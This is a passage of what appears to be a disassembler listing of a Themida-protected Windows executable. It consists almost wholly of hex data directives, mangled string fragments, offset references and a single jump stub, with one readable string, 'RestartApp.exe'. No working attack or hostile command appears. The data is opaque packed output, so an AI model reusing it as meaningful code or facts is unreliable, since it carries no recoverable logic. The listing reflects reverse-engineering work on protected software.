		dd 74C84627h, 0B05CA33h, 0AF7DE8DCh, 0F40308BDh, 61D73DF9h
		dd 0B6D806D0h, 66EA7500h, 45F5C4A4h, 228E4E26h,	0AC7E6104h
		dd 0A4508A11h, 6EC80085h, 5D2ABCA4h, 7CB1F2A8h,	1F98C981h
		dd 0BF60894Ah, 0B522015Bh, 0F630D1A2h, 0C539C4B8h, 0B8023F4Bh
		dd 573EDE8Bh, 0ADE86898h, 5D28E897h, 0B75B003Dh, 513026E9h
		dd 2CB0044Ch, 641A6625h, 6AC0F12Ch, 0B5810009h,	0EE5E4C36h
		dd 72009CE5h, 0A35764D1h, 1C9824A2h, 0C1D55606h, 0F0071B9Eh
		dd 729BC528h, 0C70458D0h, 3720DD2Ah, 7E37D8Dh, 0A8A5540Dh
		dd 5627B529h, 1CD8F318h, 44C1722Eh, 0BCAAAEB6h,	146E5C20h
		dd 8CECDEC5h, 0DD009CC9h, 4A87064h, 0CA17FA26h,	4AE14B00h
		dd 2CB8C633h, 0B7ED2Ah,	0CE8F983Bh, 1C5DE85Bh, 99141814h
		dd 17AD9D0h, 0FAB567C4h, 2AF040B2h, 9AAA7420h, 0CB2E00B8h
		dd 53FD4594h, 0AB014D25h, 41CC2177h, 9EC56D6h, 1A8C3DEDh
		dd 0E529F400h, 0E784B55Eh, 0C01CC54Ch, 70CE965Bh, 0B8E35E61h
		dd 3638B6h, 7EB3CADEh, 9DCD6AD5h, 751EE4C4h, 0C2000E10h
		dd 70151B81h, 418D030Ah, 2FCA6B26h, 616AD4B0h, 32670C0Ch
		dd 2C45617h, 186CF7B5h,	40D44233h, 0B7CA834Fh, 0EE3A883Bh
		dd 24220037h, 9EB05768h, 0D4046EDDh, 7F04FE53h,	440068F9h
		dd 31A790B2h, 0A1045ABFh, 0E2B02CF4h, 0EF48Ch, 3673A659h
		dd 44233295h, 0E575F600h, 1E1CBB3Ah, 0BAE83178h, 0E8D55B78h
		dd 4200B837h, 558924C4h, 7FF015A2h, 1DE6001Bh, 872A0FC9h
		dd 0E103A458h, 3E94A6CDh, 68380056h, 0E02D89A3h, 2E3DE75Ch
		dd 0A5670376h, 0B7ED1FE1h, 0A680B8A7h, 22E45EE6h, 6F302A2Eh
		dd 80417947h, 6B3E005Fh, 99E574CFh, 3B001BEFh, 36557954h
		dd 733D3321h, 0EC8C7553h, 34E318BEh, 0B8EA493Fh, 1E755500h
		dd 916C7466h, 92F087h, 0D07BA2FDh, 821451E9h, 96013675h
		dd 0E427F3Bh, 408037B5h, 0BCF9C44h, 98068418h, 0D78B32ACh
		dd 506C50D4h, 0DF173FE6h, 8736A900h, 0F1F7CF41h, 8D6B203h
		dd 0D18C6705h, 9187BACBh, 0A31C5137h, 11124F6Ch, 0E01FDB90h
		dd 0B9B57800h, 311969Dh, 95268F87h, 287857CFh, 0BA4B7500h
		dd 73EA74C8h, 3970E3D7h, 0D4F707C5h, 0B00586CAh, 0F9CC48A5h
		dd 23FA7900h, 0E143DCBEh, 0DEF400F8h, 4B57F5D7h, 0BC606750h
		dd 0C2B25DE1h, 381926A0h, 0C09037A5h, 76645EDBh, 0BE12740Fh
		dd 0D4C6200Fh, 282EDAB6h, 114396Fh, 97528F3Fh, 0BEBECAFEh
		dd 75BC00A9h, 19E2583Ch, 15E07E45h, 8033948Ch, 0FA13520Eh
		dd 0F9822960h, 4E78019Eh, 38B30A00h, 0EA1479DBh, 7F2E0C8Ch
		dd 0AAA93F39h, 0C7572F00h, 0EE6BD7C8h, 686C4C01h, 0F8EA8200h
		dd 0B7AB53F2h, 5C43306h, 894C56h, 17E42CEDh, 980A79BEh
		dd 2D99200h, 3BF90EB5h,	54577548h, 5A84B3h, 0D980DDCCh
		dd 0D2141B15h, 42637200h, 7C41B412h, 7FB618CBh,	402F58D4h
		dd 7FE99C0h, 3AF1BBAh, 0CB358B4Dh, 7CF83A1Dh, 4300BC7Dh
		dd 0BD22FA5Dh, 7A3CDAh,	0F66C3659h, 0D7B05FD5h,	0B8715118h
		dd 0A861181h, 4194C59Ch, 0CD218094h, 0A5E5F54Fh, 0E71D7503h
		dd 0C60CB7h, 41474431h,	0EC3C649Dh, 7A9663Ch, 185BAD0Dh
		dd 451CB070h, 0ED26021Eh, 95778F2Bh, 3C00AC44h,	594E81F7h
		dd 0EF2529h, 0D088A60Fh, 0B1A83F7Eh, 9D650403h,	0D039563Ch
		dd 90B7F61Ah, 3EB40162h, 8473E17Bh, 8900DF0Dh, 862BF298h
		dd 0E6DEEF1Ch, 5060A095h, 199300B5h, 3C8BA87Ch,	6D48906Fh
		dd 43270128h, 0ECD536D8h, 4C752424h, 0A80F1CA0h, 5540521Ch
		dd 617EB1AAh, 0CF37AA90h, 771029D6h, 1D0E3F11h,	45E640FEh
		dd 40456CA9h, 0BACE05F8h, 0AF0374C7h, 640B92Fh,	62CAC0F8h
		dd 0B58307EBh, 0E603D03Dh, 420051E8h, 5292365Ch, 0FC5AD3h
		dd 0B819485Dh, 2E6E1F13h, 9929E763h, 0A8A7B931h, 304714C0h
		dd 0E04E054Eh, 8006FC7Ah, 516CBE13h, 311B0089h,	5362B968h
		dd 543DEC4Ch, 0ABB60F06h, 52C0A275h, 52C0446Eh,	0F8019893h
		dd 0C024FBC4h, 0E303CC98h, 2E76BE00h, 0AECFE982h, 8CE117D1h
		dd 0F971033Ch, 39003094h, 376FC09Ch, 7CFA11h, 4504E5B9h
		dd 2821B51Dh, 0CC3CA53Bh, 29CDC068h, 5C6DC6Fh, 0FC0302F8h
		dd 115B80DEh, 5B003E9Dh, 4BCA6E7Bh, 0C64D55E8h,	0A09E36D1h
		dd 26BDF109h, 432A00D8h, 5817B992h, 610CCA60h, 6E913694h
		dd 1E2C3C07h, 0AEC07755h, 71890B74h, 0F1A0000Ah, 0F7238811h
		dd 3A01B319h, 51E78D68h, 0A183B667h, 16C0E60Bh,	0DE8CDD80h
		dd 0A3841100h, 47533C97h, 2BB609BCh, 0CC0060CDh, 0D76F6D0Dh
		dd 1C0AF8F0h, 0D8D3D138h, 0B7646280h, 7A16E554h, 241D7741h
		dd 41DC30CFh, 0FFDBE8ACh, 43490AA8h, 0E3C29D2Dh, 41D9C2DFh
		dd 0D4303A00h, 99C76169h, 5154B0CAh, 80ED2F88h,	6E7F6C69h
		dd 188A0217h, 0A8DA8C8Eh, 0CB027ABFh, 2EE91486h, 6C8CA332h
		dd 5410046h, 9981BD1h, 36FC2D17h, 7AA26D00h, 0A1B4CE50h
		dd 0A7560E35h, 0FF07417Ch, 7214C251h, 11869040h, 4718BE24h
		dd 0F0DB3706h, 84680389h, 0CA0E28B2h, 0FE1AB11Ch, 8E9EAAC0h
		dd 0BED127h, 78BDEFFBh,	4016B802h, 6450FC13h, 35932821h
		dd 0D200A9BBh, 91B021F0h, 620112F5h, 0E6541F38h, 24220C88h
		dd 6D207907h, 9ACEB025h, 0A0B0D303h, 0E7055B1Eh, 6B2E1C85h
		dd 6F87F480h, 23F9C35Ah, 0FA0B1BDh, 771F7AE9h, 36CD66BFh
		dd 3C3021D3h, 1E43022Eh, 0BACC98FAh, 507638C0h,	8338684Ch
		dd 655B9CAh, 9495CC31h,	0ED1CB924h, 0EB43A6D9h,	80966731h
		dd 3CE585h, 0A9F1B5D3h,	68F4E154h, 0A1163CB8h, 684AD833h
		dd 0BC11847Dh, 3881C12h, 0B708446Eh, 0C07E2028h, 2FF1AC16h
		dd 0B0E04827h, 459BBAh,	2877FF86h, 32D26B43h, 0A5002F74h
		dd 0B8E80D5Fh, 7319851Ch, 524B0620h, 69B10CA3h,	8A98300Fh
		dd 80B7C04Fh, 6D18544h,	6CF3E443h, 4100E158h, 2021BE63h
		dd 0EAE14F69h, 0E2F3026Dh, 6FAA66C1h, 650774C4h, 0C530883Ch
		dd 0D032C0F3h, 4CB5627Eh, 887CFC3Ah, 6100242Ch,	0E39A34D6h
		dd 12710EDBh, 21DC555h,	2EF9DC08h, 0FD00ECC4h, 64247C82h
		dd 3AA4803Dh, 5CDC8821h, 0DB36AD08h, 7AE45680h,	2E16Ah
		dd 4311BDE9h, 4497E264h, 35900C12h, 68294830h, 857C9Fh
		dd 49209A3Dh, 0A5260EEh, 0EE18000h, 0D9E88AEh, 65B888AFh
		dd 2D1CA9E8h, 0B441DAF5h, 0CB0D7FECh, 0E8FA2180h, 0A6ED9BDh
		dd 7B099C00h, 0DB285FC6h
		dd 6CCA0072h, 0E9EF8B9Ah, 88184662h, 9039AE0Dh,	0EA800757h
		dd 60CB756Dh, 24BC1864h, 99501C7Dh, 0B6057AF8h,	30AC6973h
		dd 801488h, 0C0552D2Ch,	367D0B28h, 0E2BC0EFh, 0FF59C863h
		dd 4B9AA838h, 7DB4C59h,	0AC2A8000h, 0C8B5179Eh,	2C2EC575h
		dd 0F880A85Ah, 0E389D784h, 0C0490C62h, 5A49B00Ch, 2B5E4B0Eh
		dd 0E4E2407Fh, 4CD7095Ch, 0AB099CB8h, 0D88005C8h, 0CC4A2E83h
		dd 8700A57Ch, 896C6FA7h, 75811Dh, 7ADB6625h, 11184A4Ch
		dd 4E8B848h, 71504E2Eh,	0B060B4C9h, 0CC0C30C1h,	75791111h
		dd 7448F82Eh, 0E9A14E00h, 8F52E7h, 3CF53268h, 6BCA662h
		dd 13BD2E00h, 93C73342h, 0CCD5001Ch, 0B6652F04h, 8F02028Ah
		dd 91FE7908h, 6F9D81D3h, 9C243B2Eh, 1EE302FCh, 6D2DCF72h
		dd 580030C4h, 0C1456A22h, 2E21F7BFh, 136993E7h,	5AA807C0h
		dd 553D1050h, 7401CA5Dh, 0E0CD602h, 3A105256h, 0EEECF217h
		dd 2C57D203h, 848B864Dh, 3B3834C1h, 2368024h, 0B2A8A921h
		dd 7C640B0Eh, 561600Eh,	4F7B8770h, 3104C0AFh, 1738A828h
		dd 88E5D96h, 0EE80EC04h, 54709172h, 1C0F4CD8h, 0B4CB922h
		dd 0FEA7068Dh, 4C995355h, 2A000728h, 820D9084h,	420026B1h
		dd 3B8310C5h, 94752C6Dh, 1C241F0h, 551CF874h, 0DEEDF900h
		dd 0D482CD1Eh, 7C3B0020h, 7AE3886Eh, 0E4602E72h, 0C9A3B991h
		dd 0B8214FA5h, 8A700F9h, 0F6661781h, 1CD89005h,	62D636ACh
		dd 80840E48h, 0C1AD1AF1h, 406B02F8h, 2FAC5DEEh,	160FD490h
		dd 440142EEh, 0E3BE5FC0h, 0A4503C2Eh, 2EFF1CE1h, 40BC6F84h
		dd 20B49C86h, 0ED668200h, 2FB2B0F7h, 0F63502C2h, 69FCAEA6h
		dd 88D5C6C3h, 0B800A4D0h, 317E874Ch, 7B7A5EBEh,	5250007Bh
		dd 7484FD39h, 0C0C2DE1Ch, 51C0D4A6h, 0B2CC007Ch, 0CE4C1A11h
		dd 7AAADB00h, 8B01A2FBh, 7F351DC4h, 83E90421h, 0E09487FEh
		dd 17B8856Ch, 2FA59C0Ch, 5CBF81EAh, 970EDD06h, 6540B1C5h
		dd 0F01D04F1h, 0D8381912h, 1282FC24h, 16C5AB0h,	8F1D62CCh
		dd 80CD0B02h, 83CE6391h, 0EE823A10h, 0EE130087h, 74754807h
		dd 70F5AF7Ch, 9139E954h, 85551F24h, 1767FC42h, 7256h, 0D4C58AADh
		dd 0FB28AFE7h, 24BB10Bh, 9F3498E5h, 77D5789Bh, 14E10CABh
		dd 0A8E0FF79h, 4EB2CA1Ah, 1CE01849h, 0F2A20023h, 5EB4171Ah
		dd 86002B45h, 0DD6C666Dh, 7355B8h, 945314F7h, 0E4D37D98h
		dd 0E92EEF18h, 7EC78071h, 0BCBA2C91h, 0DCF2006Fh, 3E1AC91Ch
		dd 32D55D1Dh, 6700706Ch, 0F633B79Fh, 1DDE0066h,	78D48812h
		dd 4F53CB74h, 94F81C9Ch, 2CE911F0h, 6248014Bh, 5DDA01B7h
		dd 793CC8B6h, 0A753F200h, 22B44642h, 803C9E56h,	0F5F03620h
		dd 30960123h, 0FFA09841h, 5819D3E0h, 0E5800C0Eh, 0EBBFE3ADh
		dd 0BB2FC738h, 7B900DDh, 45DF38BBh, 50FF0B9Dh, 0A8819B1Ch
		dd 70C46261h, 8F0FAA29h, 806F67BCh, 0C83A5D7h, 0C9CA00E9h
		dd 7D55770Eh, 8F78A0BDh, 0D64480B0h, 4C910Dh, 4624B69Bh
		dd 0D701EBA1h, 900110A6h, 0EF60EC5Ch, 0DD0802D4h, 0E2FAFED6h
		dd 903EEC98h, 0A8805100h, 8CF832F3h, 0E910022Eh, 82BA3995h
		dd 7074F841h, 0B86EA4h,	6CCFCD14h, 72080F8h, 76E8119Fh
		dd 32DC0028h, 6B5B3CDBh, 0C09E9519h, 0FCA70183h, 0F8738814h
		dd 59B430CAh, 6E10D741h, 291BD914h, 0C0332EC0h,	2C436F16h
		dd 0C01E32BEh, 14685D49h, 84BB488Bh, 38E3116h, 0E5394E5Ch
		dd 0D76CC900h, 0F8AAA8D3h, 0D07F0013h, 7AB9D436h, 737145E0h
		dd 258044B9h, 7637096h,	1B8709Bh, 1682B313h, 220D2B0Bh
		dd 78439ACh, 2C59E95Eh,	11C83240h, 8E520E9Fh, 0BAE05021h
		dd 76565FD7h, 78CB5B0Ah, 5501F5DFh, 157C127Fh, 5C5041C0h
		dd 0A483EC6Fh, 9BA83DB2h, 241290F9h, 4C9055F7h,	0BF82F4h
		dd 6E564F2Ah, 0EE7BACF9h, 12535522h, 92064Dh, 0B1D1AECFh
		dd 65E09E91h, 0CB466E00h, 36E91186h, 0B2E1C338h, 45F7681Ah
		dd 9E10CC41h, 0EB203F1Eh, 629D9340h, 0A0978Bh, 47B85114h
		dd 9065C77Ch, 91ED8000h, 74FB58F5h, 33E7425h, 53F48887h
		dd 7A9B8A51h, 5030A480h, 0ABEFEB00h, 1B87D7DCh,	47A00077h
		dd 37A8217h, 0B303898Fh, 0EAD0FA94h, 2959D03Bh,	31E51FECh
		dd 6448F099h, 67071BF5h, 5E6AA813h, 1F1987C6h, 80C35CBFh
		dd 0EE8F1EBh, 2F00628Eh, 2174177Eh, 308C93AFh, 0D906472h
		dd 130020FDh, 7736B4C6h, 0C84A7EDh, 82994292h, 33008551h
		dd 0BC4A12E3h, 31A9760h, 849C35D4h, 491C71EFh, 7080B0C4h
		dd 61F050A8h, 0E897F39h, 86EC7295h, 0D02975ACh,	0A49E000h
		dd 8C2B7123h, 3019C184h, 0DB6A9A59h, 0B29D3AF8h, 4AFDD600h
		dd 274635D1h, 1A440E08h, 0F465D984h, 6260038Bh,	98A050E3h
		dd 0C1294AE4h, 0FF7F01CCh, 0B0FDh
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54B46B:				; CODE XREF: start:loc_4E1265j
					; DATA XREF: start:loc_4E1086o
		jmp	loc_54E900
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 0A1A00Fh, 0Dh dup(0)
		dd 76E9h, 521E0A13h, 3 dup(0)
		dd 0FF4D78DDh, 7D1h, 5 dup(0)
		dd 662Ch, 2 dup(0)
		dd 0FFFC0608h, 0
		dd offset word_5875A2
		dd 8 dup(0)
		dd offset byte_5A3033
		dd 0A170C4h, 4 dup(0)
		dd 77E6D706h, 0
		dd 701C2719h, 0
		dd 88h,	385FF68h, 0
		dd 0B4h, 3 dup(0)
		dd 1FA90000h, 0
aA_1:
		dw 3Eh
		unicode	0, < >,0
		align 4
aZk		db '§Š',0
		align 4
		dd offset byte_5A52DF
		dd offset byte_5A57ED
		dd 0
		dd 662Ch, 3 dup(0)
aDSw		db 'd',27h,'èw',0
		align 4
		dd 2 dup(0)
		dd offset dword_54F6B0
		dd 8 dup(0)
		dd 11C3C34Dh, 18h dup(0)
		dd 7FFE0304h, 3	dup(0)
		dd 0A6481E57h, 77D4C96Ah, 0
		dd offset dword_5CFE0C
		dd 2 dup(0)
		dd 2F678DFFh, 4	dup(0)
		dd 89971739h, 0Bh dup(0)
		dd 0FFA63332h, 4 dup(0)
		dd 6CF8h, 3 dup(0)
		dd offset byte_59442B
		dd 0A19499h, 0
		dd 30DFh, 77D4C96Ah, 0
		dd 0FFFFFFFFh, 80h dup(0)
		dd 0FFFFFFFEh, 2 dup(0)
		db ':ݵ>',0
		align 4
aAcwhSwIb	db '[çwh!èwÝi¡',0
		align 10h
		dd 0FFFFFF68h, 0A280105h, 58B1D1h, 58E45Ah, 0A109F7h, 3	dup(0)
		dd 0ACh, 9 dup(0)
		dd offset word_598B0A
		dd 3 dup(0)
		dd 7FFE0304h, 0
		dd 0FFFFFFDEh, 8Ch, 0FFFF8FC4h,	2 dup(0)
		dd 0A1FA56h, 5BBDCBh, 4	dup(0)
		dd 7FFE0304h, 5	dup(0)
		dd 130CF171h, 2	dup(0)
		dd 7FFE0304h, 0Ah dup(0)
		dd 165A1CBh, 4047EBh, 7	dup(0)
		dd 0FA443000h, 580BE8h,	77DD189Ah, 3 dup(0)
		dd 0E663AF15h, 7FFE0304h, 2 dup(0)
		dd offset byte_586515
aRa		db '(ËR€',0
		align 8
		dd 12FFA4h, 0
		dd 4CB65003h, 3	dup(0)
		dd 77F7EBB3h, 6, 7 dup(0)
		dd 0F1E21A7Ah, 0
		dd 0A23268h, 7FFE0304h,	3 dup(0)
		dd 0A1915Bh, 2Dh, 0A15E2Eh, 0
aScsq		db 'è–sï',0
		align 4
		dd 5 dup(0)
		dd 36000h, 4 dup(0)
		dd 0FEF5A728h, 0Ch dup(0)
		dd 7FFE4F28h, 2	dup(0)
aNO		db 'n',0Bh,'Å®',0
		align 4
		dd 1D1FFB0h, 0FFA43FC4h, 2 dup(0)
		dd 8001FCFCh, 385FF68h,	0D1A6568Dh, 57FA51h, 54C824h, 2	dup(0)
		dd 1C032h, 97D8EA5h, 5BB8B0h, 54F2DEh, 58DC4Ah,	6 dup(0)
		dd 0BF0654Dh, 0
aDFMT		db 'DÚFÂŒËT',0
		dd 7 dup(0)
		dd 3038h, 6 dup(0)
		dd 0A169DDh, 6 dup(0)
		dd 2, 6	dup(0)
		dd 0A19393h, 77E776CDh,	3 dup(0)
aRestartapp_exe	db 'RestartApp.exe',0
		align 8
		dd 8001FCFCh, 9	dup(0)
		dd 0FB57239Ah, 3 dup(0)
		dd 1, 9	dup(0)
		dd 12FF60h, 77E7AC5Eh, 9 dup(0)
		dd 84A7h, 2 dup(0)
		dd offset byte_586443
		align 10h
		dd 7FFEFFFFh, 12FFA4h, 7FFE0304h, 5 dup(0)
		dd 0A8h, 0Eh dup(0)
		dd 0A4h, 2 dup(0)
		dd 0E569h, 8AA7h, 0
		dd 0A5A5E7h, 11h dup(0)
		dd 0F0000h, 4 dup(0)
		dd offset dword_5C4CC0
		dd 0
		dd offset sub_401000
		align 10h
		dd 0FFFFFFFFh, 2 dup(0)
aSSw		db 'è/èw',0
		align 4
		dd 3 dup(0)
		dd 0AF0000h, 0
		dd 0D3412004h, 0Ah dup(0)
		dd offset word_57FCAA
		align 10h
		dd offset dword_57AE68
		align 8
		dd 662Ch, 7 dup(0)
aCw		db 'µ\çw',0
		align 10h
a4G		db '4±£',0
		dd 4 dup(0)
		dd 8A92h, 4 dup(0)
		dd 30DFh, 0
aFm:
		unicode	0, <F¬>,0
		align 10h
		dd offset word_5D196A
		dd 4 dup(0)
		dd 0A169DDh, 0B94268CEh, 5 dup(0)
		dd 25B0000h, 6 dup(0)
		dd offset word_5A686A
		dd 0
		dd 0C7139DBBh, 857B0E61h, 77F51B2Bh, 7FFE0304h,	3 dup(0)
		dd 0FA3AF4A2h, 0
		dd 0FFFF47FBh, 0A13145h, 4 dup(0)
		dd 0A1A00Fh, 2 dup(0)
aECw		db '…Ççw',0
		align 10h
		dd 3F9F8h, 14h dup(0)
		dd 385FF68h, 0E1DE586h,	33050552h, 5 dup(0)
		dd offset byte_5933FF
		dd 0
		dd 0FBD3h, 2 dup(0)
		dd 0FFFFFFFFh, 5 dup(0)
aJc		db 'Ò¦—',0Ah,0
		align 4
		dd 0
		dd 0F7405741h, 3 dup(0)
		dd 2, 3	dup(0)
		dd 0FFFF912Ch, 8 dup(0)
		dd 25B0000h, 3 dup(0)
		dd 5B318BF1h, 4	dup(0)
		dd 80h,	6 dup(0)
		dd 7FFE0304h, 59BD8Eh, 0D0987289h, 7 dup(0)
a0I		db 'ß0Å©',0
		align 10h
		dd 0
		dd 0CB147927h, 3 dup(0)
		dd 0A0D554h, 0
		dd offset word_59AD42
		dd 7 dup(0)
		dd 3CA00h, 0
		dd 0F6052184h, 0
		dd 0FD3CA2A0h, 8 dup(0)
		dd 1, 54EE9Dh, 0
		dd 0A3F45D88h, 0
		dd 0E1014h, 5 dup(0)
		dd 385FF68h, 0
		dd 7FFE0304h, 57FCFAh, 77E776CDh, 20h dup(0)
		dd offset byte_586443
		align 8
		dd offset byte_5776CD
		dd 0FFA3ED3Ch, 5A083Ch,	2 dup(0)
		dd offset word_5A7CDA
		dd 2 dup(0)
aW		db 'Ì^Ýw',0
		align 10h
		dd 0
aVlcw		db '‚‹çw',0
		align 10h
		dd 0C919D640h, 0
aQbcw		db 'Ÿ¡çw',0
		align 10h
		dd 77E7A5FDh, 2	dup(0)
		dd offset byte_5BBC43
		dd 9 dup(0)
		dd 1, 2	dup(0)
		dd 50ED5413h, 76B41B40h, 0
		dd 3313EF50h, 2	dup(0)
aAt		db '!!!!€’',0
		align 10h
		dd 9A11E174h, 0
		dd 960F502h, 0Ch dup(0)
		dd offset dword_5CFE0C
		dd 0CCh, 0DD7CF9E5h, 7 dup(0)
		dd 0A169DDh, 5 dup(0)
		dd 385FF68h, 0
aJCw		db '†Äçw',0
		align 4
		db ')',0Ah,0
		db 4
		dd 0
		dd 0FFFFFFFEh, 4 dup(0)
a0Iqucw		db 'ß0Å©ï“çw',0
		align 10h
aA_2:
		unicode	0, < >,0
		dd 0EC5h, 59AD16h, 0
		dd 5503A96Ah, 8	dup(0)
		dd offset dword_5BCB08
		dd offset dword_59AE20
		align 10h
		dd 0A21564h, 0
		dd 7DBD0CEDh, 2	dup(0)
		dd 457A7h, 89CBD3CFh, 0
		dd 59Eh, 2 dup(0)
		dd offset byte_5C272D
		dd 17h dup(0)
aSv		db ',°S‚',0
		align 4
		dd 77F50000h, 6	dup(0)
		dd 0A39BACh, 3 dup(0)
		dd 76F8h, 0
		dd 0AC571034h, 2 dup(0)
		dd 8CE9h, 0Ah dup(0)
		dd 0A169DDh, 0A0B168h, 17h dup(0)
aJM		db '¦Ö,¬',0
		align 4
		dd 4 dup(0)
		dd 0A12292h, 0FEF4C5B6h, 0FFA2E8A1h, 829A3E7Eh,	4 dup(0)
		dd 0A155D1h, 3 dup(0)
		dd 0DF7CDB0Ch, 0FFFF9C80h, 8 dup(0)
		dd 662Ch, 0
aSCnT		db 1Bh,'áµæËT',0
		dd 1EF8h, 23D2D42h, 2 dup(0)
		dd 2420000h, 0
		dd 18D6D51Ah, 18h dup(0)
		dd 2D66h, 7FFE0304h, 24242424h,	2 dup(0)
		dd offset dword_457444+29DBFh
		dd 0
		dd 144628h, 4 dup(0)
		dd 32E9h, 6 dup(0)
		dd 27BDBBF7h, 2	dup(0)
a1?How		db '1¸?Çh®W',0
		dd 0Ch dup(0)
		dd 0FFAB37DCh, 2 dup(0)
		dd 0FFFFA78Ch, 2 dup(0)
		dd 7Ch,	0FFFFFF30h, 7 dup(0)
		dd 78h,	4 dup(0)
		dd 0A37316h, 12FF54h, 4	dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 1, 2	dup(0)
		dd 0FFEEF4A1h, 3 dup(0)
		dd 6Ch,	4 dup(0)
		dd 25C0000h, 0
		dd offset loc_5569BF+4
		dd 0
aGad		db 'gídÖ',0
		align 10h
		dd 77E7F880h, 0Dh dup(0)
		dd 0F303A3D5h, 3A0h, 7 dup(0)
		dd 0FFA8417Eh, 0B1A1FEh, 149Eh,	4 dup(0)
		dd 0A21560h, 0
		dd 10947C48h, 0Bh dup(0)
		dd 0AB8Bh, 5 dup(0)
		dd 5A397F5Dh, 7	dup(0)
aCw_0		db 'µ\çw',0
		align 10h
		dd 4 dup(0)
		dd offset byte_580023
		dd 2 dup(0)
		dd 94F1CB4h, 2 dup(0)
aFE		db 'Å”"E',0
		align 10h
		dd 0
dword_54C824	dd 3ECh, 124AF0h, 0Bh dup(0) ; DATA XREF: Themida_:0054CD88o
					; Themida_:0054CF70o
		dd 1873A0DAh, 7FFE0304h, 5 dup(0)
		dd 8001FCFCh, 3	dup(0)
		dd 19h,	0F37DD352h, 0
		dd 7FFE0304h, 3	dup(0)
		dd 1CE2A81h, 0
		dd 385FF68h, 77E75CB5h,	3 dup(0)
aWGx		db '×#ÝwуX',0
		dd 0
		dd 0B80000h, 4 dup(0)
		dd 0FFFFCC53h, 35Bh, 2,	7 dup(0)
		dd 77E60000h, 2	dup(0)
		dd offset byte_584E21
		dd 0A16CB0h, 0
		dd offset dword_57D000
		dd 0Ch dup(0)
		dd 0A0003Eh, 6D656854h,	616469h, 1Ch dup(0)
		dd 0FB57BA34h, 4 dup(0)
		dd 58h,	2 dup(0)
		dd 591D5ACBh, 0
aStE		db 'èâºE',0
		align 4
		dd 2 dup(0)
		dd 0FA44B46Bh, 2 dup(0)
		dd 2, 3	dup(0)
		dd 2, 4	dup(0)
		dd 1, 2	dup(0)
		dd 0FED5BD02h, 0
		dd 77E805D8h, 3	dup(0)
		dd 129FE3h, 0A19C37h, 2	dup(0)
aLF		db 'l±f,',0
		align 10h
		dd 6 dup(0)
		dd offset byte_586443
aCycw		db 'cyçw',0
		align 8
aSne		db 'S¥',0
		dd 14E8h, 4 dup(0)
aVcw		db 'Ívçw',0
		align 4
aVlcwhVc	db '‚‹çwHÆvc',0
		align 4
aIb		db 'Ýi¡',0
		dd 4 dup(0)
		dd offset dword_54E3C8
		dd 3 dup(0)
		dd 1899h, 3 dup(0)
		dd offset dword_57AE68
		dd 7 dup(0)
aCw_1		db '¸|çw',0
		align 10h
		dd 0
		dd 662Ch, 0
		dd 0A169DDh, 2 dup(0)
		dd 0A1A00Fh, 3780h, 2 dup(0)
		dd 0E569h, 2 dup(22222222h), 0
a3Xs		db '3Üxè',0
		align 10h
		dd offset dword_580304
		align 10h
		dd 1, 2	dup(0)
		dd offset byte_587721
		dd 63h dup(0)
aVcw_0		db 'Ívçw',0
		align 4
		dd 9 dup(0)
		dd 77E80618h, 4	dup(0)
aKa4q		db 'kA4Q',0
		align 4
		dd 0Bh dup(0)
		dd offset dword_590440
		align 8
		dd offset dword_54C824
		dd offset byte_54EE9D
		dd 0
		dd 0A169DDh, 31h dup(0)
		dd 5FDCh, 1Dh dup(0)
		dd 7FFE0304h, 0
aSacw		db '™ çw',0
		align 4
		dd 5 dup(0)
		dd 4, 3	dup(0)
		dd 7FFE0304h, 9	dup(0)
		dd 12FF5Ch, 3 dup(0)
		dd 2, 6	dup(0)
		dd 10B6B22h, 4 dup(0)
		dd offset dword_54C824
		dd 7 dup(0)
		dd 9Ch,	3 dup(0)
		dd offset byte_5CFCB9
		dd 1DB000h, 0Eh	dup(0)
		dd 0FFD5FEECh, 5 dup(0)
		dd 800086D1h, 9	dup(0)
		dd 80000h, 2 dup(0)
		dd 5CB10000h, 2	dup(0)
		dd 0FFFFFFFFh, 0
aBXa		db '',1Bh,'X€',0
		align 4
		dd 0
		dd 0D7D013B4h, 0Ah dup(0)
		dd 8A92h, 5 dup(0)
		dd 4FE8E415h, 5720F1h, 579B00h,	4 dup(0)
		dd offset byte_5C1203
		dd 7 dup(0)
		dd offset dword_5876F8
		dd 0A18C0Ah, 6 dup(0)
		dd offset dword_53F858+7CBh
		dd 6 dup(0)
aIAc		db '¿¨¿',8,' —[',0
		dd 2, 14h dup(0)
		dd 400000h, 3 dup(0)
		dd offset word_5A5282
		dd 3 dup(0)
		dd offset dword_54DB54
		dd offset dword_5A4BE4
		align 10h
		dd offset byte_58963D
		dd offset dword_5A7E24
		dd 0
		dd 6A5BF3DBh, 0D8C6D459h, 3 dup(0)
		dd 0A00000h, 0Ah dup(0)
		dd offset dword_5A5318
		dd offset aAyhGpmaa8Gqns ; "ÇÊayh½£PŒ€a×8&,£qné\n"
		align 8
		dd 304h, 2 dup(0)
		dd 90h,	0
		dd 0FFFFFFFFh, 6 dup(0)
		dd 4, 0
		dd offset byte_5AAEED
		dd 4 dup(0)
		dd 380FD7EEh, 7	dup(0)
		dd 77D6ADFEh, 4	dup(0)
		dd 12FF54h, 1Bh	dup(0)
		dd offset word_57BE82
		db 'Ö¹-\',0
		align 4
		dd 2 dup(0)
		dd 9D28EBh, 4 dup(0)
		dd 7FFE0304h, 57FCD2h, 2 dup(0)
		dd 2, 7	dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 12FF54h, 181FFB0h, 13A8h, 0A00A9Ah, 0
		dd offset dword_5B98B0
		dd 0FFFFFFFFh, 5 dup(0)
		dd 0A18C0Ah, 6 dup(0)
		dd 9500h, 2 dup(0)
		dd 7FFE0304h, 9	dup(0)
		dd 98h,	7391DAF1h, 4 dup(0)
		dd 0E1DE586h, 0
		dd 1C34h, 6 dup(0)
		dd 7FFE0304h, 3	dup(0)
		dd offset dword_5CFE0C
		dd 3 dup(0)
		dd offset dword_5CFE0C
		dd 0FFFF9725h, 2 dup(0)
		dd 12FFE0h, 5 dup(0)
		dd 400000h, 5 dup(0)
aTVa		db '’&¢A',0
		align 10h
		dd 0
		dd 0FFAB37DCh, 2 dup(0)
		dd 0F1E21A7Ah, 0
		dd 6CE40BEh, 3 dup(0)
		dd 0FFA652EFh, 0A59995h, 5C8D8Dh, 0Ah dup(0)
		dd 37050F7Bh, 4	dup(0)
aBkt		db 'K’Ì',0
		align 4
		dd 6 dup(0)
		dd offset dword_5AC530
